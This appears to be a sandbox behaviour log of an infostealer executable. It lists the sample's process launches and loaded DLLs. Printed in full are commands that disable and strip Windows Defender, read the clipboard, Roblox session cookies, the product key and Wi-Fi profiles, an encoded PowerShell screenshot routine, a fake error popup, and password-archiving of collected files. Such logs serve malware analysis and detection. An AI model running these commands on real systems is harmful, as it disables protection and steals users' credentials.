Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please open roblox', 0, 'Roblox Process Not Found!', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5209.tmp" "c:\Users\user\AppData\Local\Temp\bexzy300\CSC6721B5F011FD4FBD8DF74B583831980.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
